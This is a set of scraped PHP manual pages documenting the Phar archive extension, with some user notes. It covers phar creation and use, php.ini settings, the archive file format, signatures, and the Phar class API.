The phar extension provides a way to put entire PHP applications into a single file called a "phar" (PHP Archive) for easy distribution and installation. In addition to providing this service, the phar extension also provides a file-format abstraction method for creating and manipulating tar and zip files through the PharData class, much as PDO provides a unified interface for accessing different databases. Unlike PDO, which cannot convert between different databases, Phar also can convert between tar, zip and phar file formats with a single line of code. see Phar::convertToExecutable() for one example.

What is phar? Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.

Phar implements this functionality through a Stream Wrapper. Normally, to use an external file within a PHP script, you would use include()

Example #1 Using an external file

<?php
 include '/path/to/external/file.php';
 ?>

PHP can be thought of as actually translating /path/to/external/file.php into a stream wrapper as file:///path/to/external/file.php, and under the hood it does in fact use the plain file stream wrapper stream functions to access all local files.

To use a file named file.php contained with a phar archive /path/to/myphar.phar, the syntax is very similar to the file:// syntax above.

Example #2 Using a file within a phar archive

<?php
 include 'phar:///path/to/myphar.phar/file.php';
 ?>

In fact, one can treat a phar archive exactly as if it were an external disk, using any of fopen()-related functions, opendir() and mkdir()-related functions to read, change, or create new files and directories within the phar archive. This allows complete PHP applications to be distributed in a single file and run directly from that file.

The most common usage for a phar archive is to distribute a complete application in a single file. For instance, the PEAR Installer that is bundled with PHP versions is distributed as a phar archive. To use a phar archive distributed in this way, the archive can be executed on the command-line or via a web server.

Phar archives can be distributed as tar archives, zip archives, or as the custom phar file format designed specifically for the phar extension. Each file format has advantages and disadvantages. The tar and zip file formats can be read or extracted by any third-party tool that can read the format, but require the phar extension in order to run with PHP. The phar file format is customized and unique to the phar extension, and can only be created by the phar extension or the PEAR package » PHP_Archive, but has the advantage that applications created in this format will run even if the phar extension is not enabled.

In other words, even with the phar extension disabled, one can execute or include a phar-based archive. Accessing individual files within a phar archive is only possible with the phar extension unless the phar archive was created by PHP_Archive.

The phar extension is also capable of converting a phar archive from tar to zip or to phar file format in a single command:

Example #3 Converting a phar archive from phar to tar file format

<?php
 $phar = new Phar('myphar.phar');
 $pgz = $phar->convertToExecutable(Phar::TAR, Phar::GZ); // makes myphar.phar.tar.gz
 ?>

Phar can compress individual files or an entire archive using gzip compression or bzip2 compression, and can verify archive integrity automatically through the use of md5(), sha1(), sha256(), or sha512() signatures.

Lastly, the Phar extension is security-conscious, and disables write access to executable phar archives by default, and requires system-level disabling of the phar.readonly php.ini setting in order to create or modify phar archives. Normal tar and zip archives without an executable stub can always be created or modified using the PharData class.

If you are creating applications for distribution, you will want to read How to create Phar Archives. If you want more information on the differences between the three file formats that phar supports, you should read Phar, Tar and Zip.

If you are using phar applications, there are helpful tips in How to use Phar Archives

The word phar is a contraction of PHP and Archive and is based loosely on the jar (Java Archive) familiar to Java developers.

The implementation for Phar archives is based on the PEAR package » PHP_Archive, and the implementation details are similar, although the Phar extension is much more powerful. In addition, the Phar extension allows most PHP applications to be run unmodified while PHP_Archive-based phar archives often require extensive modification in order to work.

User Contributed Notes

There are no user contributed notes for this page.
Phar
Installing/Configuring
Phar


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

judas dot iscariote at gmail dot comnospam 08-May-2007 04:12
Binary packages of the Phar extension for SUSE/openSUSE are available here:

http://software.opensuse.org/download/server:/php:/extensions/

you need to install the php5-phar package.
Introduction
Requirements
Phar


Requirements

Phar requires PHP 5.2.0 or newer. Additional features require the SPL extension in order to take advantage of iteration and array access to a Phar's file contents. The phar stream does not require any additional extensions to function.

You may optionally wish to enable the zlib and bzip2 extensions to take advantage of compressed phar support. In addition, to take advantage of OpenSSL signing, the OpenSSL extension must be enabled.

Note that a bug in the zlib.deflate stream filter fixed in PHP version 5.2.6 and newer may cause truncation of gzip and bzip2-compressed phar archives.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

The Phar extension is built into PHP as of PHP version 5.3.0. Phar may be installed via the PECL extension with previous PHP versions, and the » Phar PECL page contains further information and history.

Windows users must include the php_phar.dll file within php.ini to use this extension.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Filesystem and Streams Configuration Options
Name | Default | Changeable | Changelog
phar.readonly | "1" | PHP_INI_ALL |
phar.require_hash | "1" | PHP_INI_ALL |
phar.extract_list | "" | PHP_INI_ALL | Available from phar 1.1.0 to 1.2.3, removed in 2.0.0.
phar.cache_list | "" | PHP_INI_SYSTEM | Available from phar 2.0.0.

Here's a short explanation of the configuration directives.

phar.readonly boolean

This option disables creation or modification of Phar archives using the phar stream or Phar object's write support. This setting should always be enabled on production machines, as the phar extension's convenient write support could allow straightforward creation of a php-based virus when coupled with other common security vulnerabilities.

Note:

This setting can only be unset in php.ini due to security reasons. If phar.readonly is disabled in php.ini, the user may enable phar.readonly in a script or disable it later. If phar.readonly is enabled in php.ini, a script may harmlessly "re-enable" the INI variable, but may not disable it.

phar.require_hash boolean

This option will force all opened Phar archives to contain some kind of signature (currently MD5, SHA1, SHA256 and SHA512 are supported), and will refuse to process any Phar archive that does not contain a signature.

Note:

This setting can only be unset in php.ini due to security reasons. If phar.require_hash is disabled in php.ini, the user may enable phar.require_hash in a script or disable it later. If phar.require_hash is enabled in php.ini, a script may harmlessly "re-enable" the INI variable, but may not disable it.

This setting does not affect reading plain tar files with the PharData class.

phar.extract_list string

This INI setting has been removed as of phar 2.0.0

Allows mappings from a full path to a phar archive or its alias to the location of its extracted files. The format of the parameter is name=archive,name2=archive2. This allows extraction of phar files to disk, and allows phar to act as a kind of mapper to extracted disk files. This is often done for performance reasons, or to assist with debugging a phar.

Example #1 phar.extract_list usage example

in php.ini:
phar.extract_list = archive=/full/path/to/archive/,arch2=/full/path/to/arch2
<?php
include "phar://archive/content.php";
include "phar://arch2/foo.php";
?>

phar.cache_list string

This INI setting was added in phar 2.0.0

Allows mapping phar archives to be pre-parsed at web server startup, providing a performance improvement that brings running files out of a phar archive very close to the speed of running those files from a traditional disk-based installation.

Example #2 phar.cache_list usage example

in php.ini (windows):
phar.cache_list =C:\path\to\phar1.phar;C:\path\to\phar2.phar
in php.ini (unix):
phar.cache_list =/path/to/phar1.phar:/path/to/phar2.phar

User Contributed Notes

milagre at gmail dot com 14-Jun-2011 11:48
During experimentation with phar.cache_list using php 5.2.13 and pecl/phar 2.0.0, I found some interesting details.

It seems that if any phar in the list of phars to cache fails to be read properly during module initialization, none of the phars in the list will be cached, including ones that had already been successfully read before the failure.

Additionally, phars without metadata will always fail to be pre-cached properly due to what seems to be a bug in the phar module that re-reads the length of the metadata from the next byte if the metadata length is 0.  Adding any metadata resolved the problem for me.

So make sure you are pre-caching phars with metadata, and make sure you don't put a bad path/file in the list.
Installation
Resource Types
Installing/Configuring


Resource Types

The Phar extension provides the phar stream, which allows accessing files contained within a phar transparently. See also the description of the Phar file format.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Phar compression constants
Constant | Value | Description
Phar::NONE (integer) | 0x00000000 | no compression
Phar::COMPRESSED (integer) | 0x0000F000 | bitmask that can be used with file flags to determine if any compression is present
Phar::GZ (integer) | 0x00001000 | zlib (gzip) compression
Phar::BZ2 (integer) | 0x00002000 | bzip2 compression
Phar file format constants
Constant | Value | Description
Phar::SAME (integer) | 0 | retain the same file format
Phar::PHAR (integer) | 1 | phar file format
Phar::TAR (integer) | 2 | tar file format
Phar::ZIP (integer) | 3 | zip file format
Phar signature constants
Constant | Value | Description
Phar::MD5 (integer) | 0x0001 | signature with md5 hash algorithm
Phar::SHA1 (integer) | 0x0002 | signature with sha1 hash algorithm
Phar::SHA256 (integer) | 0x0003 | signature with sha256 hash algorithm (requires hash extension)
Phar::SHA512 (integer) | 0x0004 | signature with sha512 hash algorithm (requires hash extension)
Phar::OPENSSL (integer) | 0x0010 | signature with OpenSSL public/private key pair. This is a true, asymmetric key signature.
Phar webPhar mime override constants
Constant | Value | Description
Phar::PHP (integer) | 1 | used to instruct the mimeoverrides parameter of Phar::webPhar() that the extension should be parsed as a PHP file
Phar::PHPS (integer) | 2 | used to instruct the mimeoverrides parameter of Phar::webPhar() that the extension should be parsed as a PHP source file through highlight_file()

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Using Phar Archives
Phar


Using Phar Archives

Table of Contents

  • Using Phar Archives: Introduction
  • Using Phar Archives: the phar stream wrapper
  • Using Phar Archives: the Phar and PharData class

User Contributed Notes

gabriel at bumpt dot net 04-Aug-2008 08:57
One should be aware that the bcompiler extension does not appear to work in a phar archive.

When parsing PHP files within a Phar archive, the engine seems to not decode the b-compiled files. Rather, it outputs the bytecode data, even if the bcompiler extension is enabled and loaded, and otherwise operating properly on stand-alone b-compiled PHP files.
Predefined Constants
Using Phar Archives: Introduction
Phar


Using Phar Archives: Introduction

Phar archives are similar in concept to Java JAR archives, but are tailored to the needs and to the flexibility of PHP applications. A Phar archive is used to distribute a complete PHP application or library in a single file. A Phar archive application is used exactly like any other PHP application:

php coolapplication.phar

Using a Phar archive library is identical to using any other PHP library:

<?php
include 'coollibrary.phar';
?>

The phar stream wrapper provides the core of the phar extension, and is explained in detail here. The phar stream wrapper allows accessing the files within a phar archive using PHP's standard file functions fopen(), opendir(), and others that work on regular files. The phar stream wrapper supports all read/write operations on both files and directories.

<?php
include 'phar://coollibrary.phar/internal/file.php';
header('Content-type: image/jpeg');
// phars can be accessed by full path or by alias
echo file_get_contents('phar:///fullpath/to/coollibrary.phar/images/wow.jpg');
?>

The Phar class implements advanced functionality for accessing files and for creating phar archives. The Phar class is explained in detail here.

<?php
try {
    // open an existing phar
    $p = new Phar('coollibrary.phar', 0);
    // Phar extends SPL's DirectoryIterator class
    foreach (new RecursiveIteratorIterator($p) as $file) {
        // $file is a PharFileInfo class, and inherits from SplFileInfo
        echo $file->getFileName() . "\n";
        echo file_get_contents($file->getPathName()) . "\n"; // display contents;
    }
    if (isset($p['internal/file.php'])) {
        var_dump($p['internal/file.php']->getMetadata());
    }

    // create a new phar - phar.readonly must be 0 in php.ini
    // phar.readonly is enabled by default for security reasons.
    // On production servers, Phars need never be created,
    // only executed.
    if (Phar::canWrite()) {
        $p = new Phar('newphar.tar.phar', 0, 'newphar.tar.phar');
        // make this a tar-based phar archive, compressed with gzip compression (.tar.gz)
        $p = $p->convertToExecutable(Phar::TAR, Phar::GZ);

        // create transaction - nothing is written to newphar.phar
        // until stopBuffering() is called, although temporary storage is needed
        $p->startBuffering();
        // add all files in /path/to/project, saving in the phar with the prefix "project"
        $p->buildFromIterator(new RecursiveIteratorIterator(new DirectoryIterator('/path/to/project')), '/path/to/');

        // add a new file via the array access API
        $p['file1.txt'] = 'Information';
        $fp = fopen('hugefile.dat', 'rb');
        // copy all data from the stream
        $p['data/hugefile.dat'] = $fp;

        if (Phar::canCompress(Phar::GZ)) {
            $p['data/hugefile.dat']->compress(Phar::GZ);
        }

        $p['images/wow.jpg'] = file_get_contents('images/wow.jpg');
        // any value can be saved as file-specific meta-data
        $p['images/wow.jpg']->setMetadata(array('mime-type' => 'image/jpeg'));
        $p['index.php'] = file_get_contents('index.php');
        $p->setMetadata(array('bootstrap' => 'index.php'));

        // save the phar archive to disk
        $p->stopBuffering();
    }
} catch (Exception $e) {
    echo 'Could not open Phar: ', $e;
}
?>

In addition, verification of phar file contents can be done using any of the supported symmetric hash algorithms (MD5, SHA1, SHA256 and SHA512 if ext/hash is enabled) and using asymmetric public/private key signing using OpenSSL (new in Phar 2.0.0). To take advantage of OpenSSL signing, you need to generate a public/private key pair, and use the private key to set the signature using Phar::setSignatureAlgorithm(). In addition, the public key as extracted using this code:

<?php
$public = openssl_get_publickey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($public, $pkey);
?>
must be saved adjacent to the phar archive it verifies. If the phar archive is saved as /path/to/my.phar, the public key must be saved as /path/to/my.phar.pubkey, or phar will be unable to verify the OpenSSL signature.

As of version 2.0.0, The Phar class also provides 3 static methods, Phar::webPhar(), Phar::mungServer() and Phar::interceptFileFuncs() that are crucial to packaging up PHP applications designed for usage on regular filesystems and for web-based applications. Phar::webPhar() implements a front controller that routes HTTP calls to the correct location within the phar archive. Phar::mungServer() is used to modify the values of the $_SERVER array to trick applications that process these values. Phar::interceptFileFuncs() instructs Phar to intercept calls to fopen(), file_get_contents(), opendir(), and all of the stat-based functions (file_exists(), is_readable() and so on) and route all relative paths to locations within the phar archive.

As an example, packaging up a release of the popular phpMyAdmin application for use as a phar archive requires only this simple script and then phpMyAdmin.phar.tar.php can be accessed as a regular file from your web server after modifying the user/password:

<?php
@unlink('phpMyAdmin.phar.tar.php');
copy('phpMyAdmin-2.11.3-english.tar.gz', 'phpMyAdmin.phar.tar.php');
$a = new Phar('phpMyAdmin.phar.tar.php');
$a->startBuffering();
$a["phpMyAdmin-2.11.3-english/config.inc.php"] = '<?php
/* Servers configuration */
$i = 0;

/* Server localhost (config:root) [1] */
$i++;
$cfg[\'Servers\'][$i][\'host\'] = \'localhost\';
$cfg[\'Servers\'][$i][\'extension\'] = \'mysqli\';
$cfg[\'Servers\'][$i][\'connect_type\'] = \'tcp\';
$cfg[\'Servers\'][$i][\'compress\'] = false;
$cfg[\'Servers\'][$i][\'auth_type\'] = \'config\';
$cfg[\'Servers\'][$i][\'user\'] = \'root\';
$cfg[\'Servers\'][$i][\'password\'] = \'\';

/* End of servers configuration */
if (strpos(PHP_OS, \'WIN\') !== false) {
    $cfg[\'UploadDir\'] = getcwd();
} else {
    $cfg[\'UploadDir\'] = \'/tmp/pharphpmyadmin\';
    @mkdir(\'/tmp/pharphpmyadmin\');
    @chmod(\'/tmp/pharphpmyadmin\', 0777);
}';
$a->setStub('<?php
Phar::interceptFileFuncs();
Phar::webPhar("phpMyAdmin.phar", "phpMyAdmin-2.11.3-english/index.php");
echo "phpMyAdmin is intended to be executed from a web browser\n";
exit -1;
__HALT_COMPILER();
');
$a->stopBuffering();
?>

User Contributed Notes

shaun at shaunfreeman dot co dot uk 27-Sep-2010 03:06
If you are trying to use Phar for a web application and just getting a blank screen, if you have enabled suhosin as well you have to add:

suhosin.executor.include.whitelist="phar"

to "/etc/php5/conf.d/suhosin.ini" file or your "php.ini" file.

once done everything works fine and dandy.
kkotowicz at gmail dot com 24-Aug-2010 10:03
I've made a few PHP command line utilities that simplify building and using Phar archives, especially when one wants to use OpenSSL signing. The source code & docs are on http://github.com/koto/phar-util . The project is distributed as a PEAR package - http://pear.kotowicz.net

Available tools are:

    * phar-build for building and signing Phar archives
    * phar-extract for extracting/listing contents of Phar archive
    * phar-verify for verifying signature of Phar archive
    * phar-generate-cert for generating OpenSSL certificates used to sign the Phar archives
Using Phar Archives
Using Phar Archives: the phar stream wrapper
Using Phar Archives


Using Phar Archives: the phar stream wrapper

The Phar stream wrapper fully supports fopen() for read and write (not append), unlink(), stat(), fstat(), fseek(), rename() and directory stream operations opendir() and as of version 2.0.0, rmdir() and mkdir().

Individual file compression and per-file metadata can also be manipulated in a Phar archive using stream contexts:

<?php
$context = stream_context_create(array('phar' =>
                                    array('compress' => Phar::GZ)),
                                    array('metadata' => array('user' => 'cellog')));
file_put_contents('phar://my.phar/somefile.php', 0, $context);
?>

The phar stream wrapper does not operate on remote files, and cannot operate on remote files, and so is allowed even when the allow_url_fopen and allow_url_include INI options are disabled.

Although it is possible to create phar archives from scratch just using stream operations, it is best to use the functionality built into the Phar class. The stream wrapper is best used for read-only operations.

User Contributed Notes

staff at pro-unreal dot de 08-Jun-2011 10:52
Please note that the phar stream wrapper does not work with any glob.
When you decide to move your project to phar archives you need to consider this.

The following won't work:
<?php
glob('phar://some.phar/*');
new DirectoryIterator('glob://phar://some.phar/*');
?>

While the following will work:
<?php
new DirectoryIterator('phar://some.phar/');
?>
carl at dot dot com 09-May-2011 12:12
Some Examples of how to use the stream wrapper would be really helpful.
My floundering attempts reveal only the following:

<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;

$p->addFromString('testfile.txt',
'this is just some test text');

// This works
echo file_get_contents('phar://phartest.zip/testfile.txt');

//This Fails
file_put_contents('phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt');

$context = stream_context_create(
array('phar' =>array('compress' =>Phar::ZIP))
) ;

//This Fails
file_put_contents(
'phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt',0,$context);

// This works but only with 'r' readonly mode.
$f = fopen(
'phar://C:\\Inetpub\\wwwroot\\PACT\\test\\phartest.zip\\testfile.txt',
'r') ;
?>
Using Phar Archives: Introduction
Using Phar Archives: the Phar and PharData class
Using Phar Archives


Using Phar Archives: the Phar and PharData class

The Phar class supports reading and manipulation of Phar archives, as well as iteration through inherited functionality of the RecursiveDirectoryIterator class. With support for the ArrayAccess interface, files inside a Phar archive can be accessed as if they were part of an associative array.

The PharData class extends the Phar, and allows creating and modifying non-executable (data) tar and zip archives even if phar.readonly=1 in php.ini. As such, PharData::setAlias() and PharData::setStub() are both disabled as the concept of alias and stub are unique to executable phar archives.

It is important to note that when creating a Phar archive, the full path should be passed to the Phar object constructor. Relative paths will fail to initialize.

Assuming that $p is a Phar object initialized as follows:

<?php
$p = new Phar('/path/to/myphar.phar', 0, 'myphar.phar');
?>

An empty Phar archive will be created at /path/to/myphar.phar, or if /path/to/myphar.phar already exists, it will be opened again. The literal myphar.phar demonstrates the concept of an alias that can be used to reference /path/to/myphar.phar in URLs as in:

<?php
// these two calls to file_get_contents() are equivalent if
// /path/to/myphar.phar has an explicit alias of "myphar.phar"
// in its manifest, or if the phar was initialized with the
// previous example's Phar object setup
$f = file_get_contents('phar:///path/to/myphar.phar/whatever.txt');
$f = file_get_contents('phar://myphar.phar/whatever.txt');
?>

With the newly created $p Phar object, the following is possible:

  • $a = $p['file.php'] creates a PharFileInfo class that refers to the contents of phar://myphar.phar/file.php
  • $p['file.php'] = $v creates a new file (phar://myphar.phar/file.php), or overwrites an existing file within myphar.phar. $v can be either a string or an open file pointer, in which case the entire contents of the file will be used to create the new file. Note that $p->addFromString('file.php', $v) is functionally equivalent to the above. Also possible is to add the contents of a file with $p->addFile('/path/to/file.php', 'file.php'). Lastly, an empty directory can be created with $p->addEmptyDir('empty').
  • isset($p['file.php']) can be used to determine whether phar://myphar.phar/file.php exists within myphar.phar.
  • unset($p['file.php']) erases phar://myphar.phar/file.php from myphar.phar.

In addition, the Phar object is the only way to access Phar-specific metadata, through Phar::getMetadata(), and the only way to set or retrieve a Phar archive's PHP loader stub through Phar::getStub() and Phar::setStub(). Additionally, compression for the entire Phar archive at once can only be manipulated using the Phar class.

The full list of Phar object functionality is documented below.

The PharFileInfo class extends the SplFileInfo class, and adds several methods for manipulating Phar-specific details of a file contained within a Phar, such as manipulating compression and metadata.

User Contributed Notes

There are no user contributed notes for this page.
Using Phar Archives: the phar stream wrapper
Creating Phar Archives
Using Phar Archives


Creating Phar Archives

Table of Contents

  • Creating Phar Archives: Introduction

User Contributed Notes

There are no user contributed notes for this page.
Using Phar Archives: the Phar and PharData class
Creating Phar Archives: Introduction
Phar


Creating Phar Archives: Introduction

To be written fully in the near future. Before reading this, be sure to read How to use Phar Archives.

A great place to start is by reading about Phar::buildFromIterator(), and the specifics of the file format choices available for archives. A healthy understanding of what a stub is and does is crucial to phar archive creation, and so Phar::setStub() and Phar::createDefaultStub() are good places to start as well. If you are distributing a web-based application, it is crucial to know about Phar::webPhar() and related method Phar::mungServer(). Any application that accesses its own files should also consider using Phar::interceptFileFuncs().

User Contributed Notes

jw 13-Jun-2011 12:26
There is some more information about stubs here:

http://www.php.net/manual/en/phar.fileformat.stub.php
Creating Phar Archives
What makes a phar a phar and not a tar or a zip?
Creating Phar Archives


What makes a phar a phar and not a tar or a zip?

Table of Contents

  • Ingredients of all Phar archives, independent of file format
  • Phar file stub
  • Head-to-head comparison of Phar, Tar and Zip
  • Tar-based phars
  • Zip-based phars
  • Phar File Format
  • Global Phar bitmapped flags
  • Phar manifest file entry definition
  • Phar Signature format

User Contributed Notes

There are no user contributed notes for this page.
Creating Phar Archives: Introduction
Ingredients of all Phar archives, independent of file format
Phar


Ingredients of all Phar archives, independent of file format

All Phar archives contain three to four sections:

  1. a stub

  2. a manifest describing the contents

  3. the file contents

  4. [optional] a signature for verifying Phar integrity (phar file format only)

User Contributed Notes

There are no user contributed notes for this page.
What makes a phar a phar and not a tar or a zip?
Phar file stub
What makes a phar a phar and not a tar or a zip?


Phar file stub

A Phar's stub is a simple PHP file. The smallest possible stub follows:

<?php __HALT_COMPILER();

A stub must contain as a minimum, the __HALT_COMPILER(); token at its conclusion. Typically, a stub will contain loader functionality like so:

<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

There are no restrictions on the contents of a Phar stub, except for the requirement that it conclude with __HALT_COMPILER();. The closing PHP tag

?>
may be included or omitted, but there can be no more than 1 space between the ; and the close tag
?>
 or the phar extension will be unable to process the Phar archive's manifest.

In a tar or zip-based phar archive, the stub is stored in the .phar/stub.php file. The default stub for phar-based Phar archives contains approximately 7k of code to extract the contents of the phar and execute them. See Phar::createDefaultStub() for more detail.

The phar alias is stored in a tar or zip-based phar archive in the .phar/alias.txt file as plain text.

User Contributed Notes

There are no user contributed notes for this page.
Ingredients of all Phar archives, independent of file format
Head-to-head comparison of Phar, Tar and Zip
What makes a phar a phar and not a tar or a zip?


Head-to-head comparison of Phar, Tar and Zip

What are the good and the bad things about the three supported file formats in the phar extension? This table attempts to address that question.

Feature matrix: Phar vs. Tar vs. Zip
Feature | Phar | Tar | Zip
Standard File Format | No | Yes | Yes
Can be executed without the Phar Extension [1] | Yes | No | No
Per-file compression | Yes | No | Yes
Whole-archive compression | Yes | Yes | No
Whole-archive signature validation | Yes | Yes | Yes (PHP 5.3.1+)
Web-specific application support | Yes | Yes | Yes
Per-file Meta-data | Yes | Yes | Yes
Whole-Archive Meta-data | Yes | Yes | Yes
Archive creation/modification [2] | Yes | Yes | Yes
Full support for all stream wrapper functions | Yes | Yes | Yes
Can be created/modified even if phar.readonly=1 [3] | No | Yes | Yes

Tip

[1] PHP can only directly access the contents of a Phar archive without the Phar extension if it is using a stub that extracts the contents of the phar archive. The stub created by Phar::createDefaultStub() extracts the phar archive and runs its contents from a temporary directory if no phar extension is found.

Tip

[2] All write access requires phar.readonly to be disabled in php.ini or on the command-line directly.

Tip

[3] Only tar and zip archives without .phar in their filename and without an executable stub .phar/stub.php can be created if phar.readonly=1.

User Contributed Notes

There are no user contributed notes for this page.
Phar file stub
Tar-based phars
What makes a phar a phar and not a tar or a zip?


Tar-based phars

Archives based on the tar file format follow the more modern USTAR file format. The design of the tar file header makes them more efficient to access than the zip file format, and almost as efficient as the phar file format. File names are limited to 255 bytes, including full path within the phar archive. There is no limit on the number of files within a tar-based phar archive. These archives can fully compressed in gzip or bzip2 format and still be executed by the Phar extension.

To compress an entire archive, use Phar::compress(). To decompress an entire archive, use Phar::decompress().

User Contributed Notes

There are no user contributed notes for this page.
Head-to-head comparison of Phar, Tar and Zip
Zip-based phars
What makes a phar a phar and not a tar or a zip?


Zip-based phars

Archives based on the zip file format support several features built into the zip file format. Per-file and whole-archive metadata is stored in the zip file comment and zip archive comment as a serialized string. Pre-existing zip comments will be successfully read as a string. Per-file compression read/write is supported with zlib compression, and read access is supported with bzip2 compression. There is no limit on the number of files within a zip-based phar archive. Empty directories are stored in the zip archive as files with a trailing slash like my/directory/

User Contributed Notes

There are no user contributed notes for this page.
Tar-based phars
Phar File Format
What makes a phar a phar and not a tar or a zip?


Phar File Format

The phar file format is literally laid out as stub/manifest/contents/signature, and stores the crucial information of what is included in the phar archive in its manifest.

The Phar manifest is a highly optimized format that allows per-file specification of file compression, file permissions, and even user-defined meta-data such as file user or group. All values greater than 1 byte are stored in little-endian byte order, with the exception of the API version, which for historical reasons is stored as 3 nibbles in big-endian order.

All unused flags are reserved for future use, and must not be used to store custom information. Use the per-file meta-data facility to store customized information about particular files.

The basic file format of a Phar archive manifest is as follows:

Global Phar manifest format
Size in bytes | Description
4 bytes | Length of manifest in bytes (1 MB limit)
4 bytes | Number of files in the Phar
2 bytes | API version of the Phar manifest (currently 1.0.0)
4 bytes | Global Phar bitmapped flags
4 bytes | Length of Phar alias
?? | Phar alias (length based on previous)
4 bytes | Length of Phar metadata (0 for none)
?? | Serialized Phar Meta-data, stored in serialize() format
at least 24 * number of entries bytes | entries for each file

User Contributed Notes

There are no user contributed notes for this page.
Zip-based phars
Global Phar bitmapped flags
What makes a phar a phar and not a tar or a zip?


Global Phar bitmapped flags

Here are the bitmapped flags currently recognized by the Phar extension for the global Phar flat bitmap:

Bitmap values recognized
Value | Description
0x00010000 | If set, this Phar contains a verification signature
0x00001000 | If set, this Phar contains at least 1 file that is compressed with zlib compression
0x00002000 | If set, this Phar contains at least 1 file that is compressed with bzip compression

User Contributed Notes

There are no user contributed notes for this page.
Phar File Format
Phar manifest file entry definition
What makes a phar a phar and not a tar or a zip?


Phar manifest file entry definition

Each file in the manifest contains the following information:

Phar Manifest file entry
Size in bytes | Description
4 bytes | Filename length in bytes
?? | Filename (length specified in previous)
4 bytes | Un-compressed file size in bytes
4 bytes | Unix timestamp of file
4 bytes | Compressed file size in bytes
4 bytes | CRC32 checksum of un-compressed file contents
4 bytes | Bit-mapped File-specific flags
4 bytes | Serialized File Meta-data length (0 for none)
?? | Serialized File Meta-data, stored in serialize() format

Note that as of API version 1.1.1, empty directories are stored as filenames with a trailing slash like my/directory/

The File-specific bitmap values recognized are:

Bitmap values recognized
Value | Description
0x000001FF | These bits are reserved for defining specific file permissions of a file. Permissions are used for fstat() and can be used to recreate desired permissions upon extraction.
0x00001000 | If set, this file is compressed with zlib compression
0x00002000 | If set, this file is compressed with bzip compression

User Contributed Notes

There are no user contributed notes for this page.
Global Phar bitmapped flags
Phar Signature format
What makes a phar a phar and not a tar or a zip?


Phar Signature format

Phars containing a signature always have the signature appended to the end of the Phar archive after the loader, manifest, and file contents. The two signature formats supported at this time are MD5 and SHA1.

Signature format
Length in bytes | Description
16 or 20 bytes | The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature.
4 bytes | Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0004 is used to define an SHA256 signature, and 0x0008 is used to define an SHA512 signature. The SHA256 and SHA512 signature support was introduced with API version 1.1.0.
4 bytes | Magic GBMB used to define the presence of a signature.

User Contributed Notes

There are no user contributed notes for this page.
Phar manifest file entry definition
Phar
What makes a phar a phar and not a tar or a zip?


The Phar class

(No version information available, might only be in SVN)

Introduction

The Phar class provides a high-level interface to accessing and creating phar archives.

Class synopsis

Phar extends RecursiveDirectoryIterator implements Countable , ArrayAccess {
/* Properties */
/* Methods */
void addEmptyDir ( string $dirname )
void addFile ( string $file [, string $localname ] )
void addFromString ( string $localname , string $contents )
string apiVersion ( void )
array buildFromDirectory ( string $base_dir [, string $regex ] )
array buildFromIterator ( Iterator $iter [, string $base_directory ] )
bool canCompress ([ int $type = 0 ] )
bool canWrite ( void )
object compress ( int $compression [, string $extension ] )
bool compressAllFilesBZIP2 ( void )
bool compressAllFilesGZ ( void )
void compressFiles ( int $compression )
__construct ( string $fname [, int $flags [, string $alias ]] )
PharData convertToData ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )
Phar convertToExecutable ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )
bool copy ( string $oldfile , string $newfile )
int count ( void )
string createDefaultStub ([ string $indexfile [, string $webindexfile ]] )
object decompress ([ string $extension ] )
bool decompressFiles ( void )
bool delMetadata ( void )
bool delete ( string $entry )
bool extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )
mixed getMetadata ( void )
bool getModified ( void )
array getSignature ( void )
string getStub ( void )
array getSupportedCompression ( void )
array getSupportedSignatures ( void )
string getVersion ( void )
bool hasMetadata ( void )
void interceptFileFuncs ( void )
bool isBuffering ( void )
mixed isCompressed ( void )
bool isFileFormat ( int $format )
bool isValidPharFilename ( string $filename [, bool $executable = true ] )
bool isWritable ( void )
bool loadPhar ( string $filename [, string $alias ] )
bool mapPhar ([ string $alias [, int $dataoffset = 0 ]] )
void mount ( string $pharpath , string $externalpath )
void mungServer ( array $munglist )
bool offsetExists ( string $offset )
int offsetGet ( string $offset )
void offsetSet ( string $offset , string $value )
bool offsetUnset ( string $offset )
string running ([ bool $retphar = true ] )
bool setAlias ( string $alias )
bool setDefaultStub ([ string $index [, string $webindex ]] )
void setMetadata ( mixed $metadata )
void setSignatureAlgorithm ( int $sigtype [, string $privatekey ] )
bool setStub ( string $stub )
void startBuffering ( void )
void stopBuffering ( void )
bool uncompressAllFiles ( void )
bool unlinkArchive ( string $archive )
void webPhar ([ string $alias [, string $index = "index.php" [, string $f404 [, array $mimetypes [, array $rewrites ]]]]] )
}

Table of Contents

  • Phar::addEmptyDir — Add an empty directory to the phar archive
  • Phar::addFile — Add a file from the filesystem to the phar archive
  • Phar::addFromString — Add a file from the filesystem to the phar archive
  • Phar::apiVersion — Returns the api version
  • Phar::buildFromDirectory — Construct a phar archive from the files within a directory.
  • Phar::buildFromIterator — Construct a phar archive from an iterator.
  • Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::canWrite — Returns whether phar extension supports writing and creating phars
  • Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression
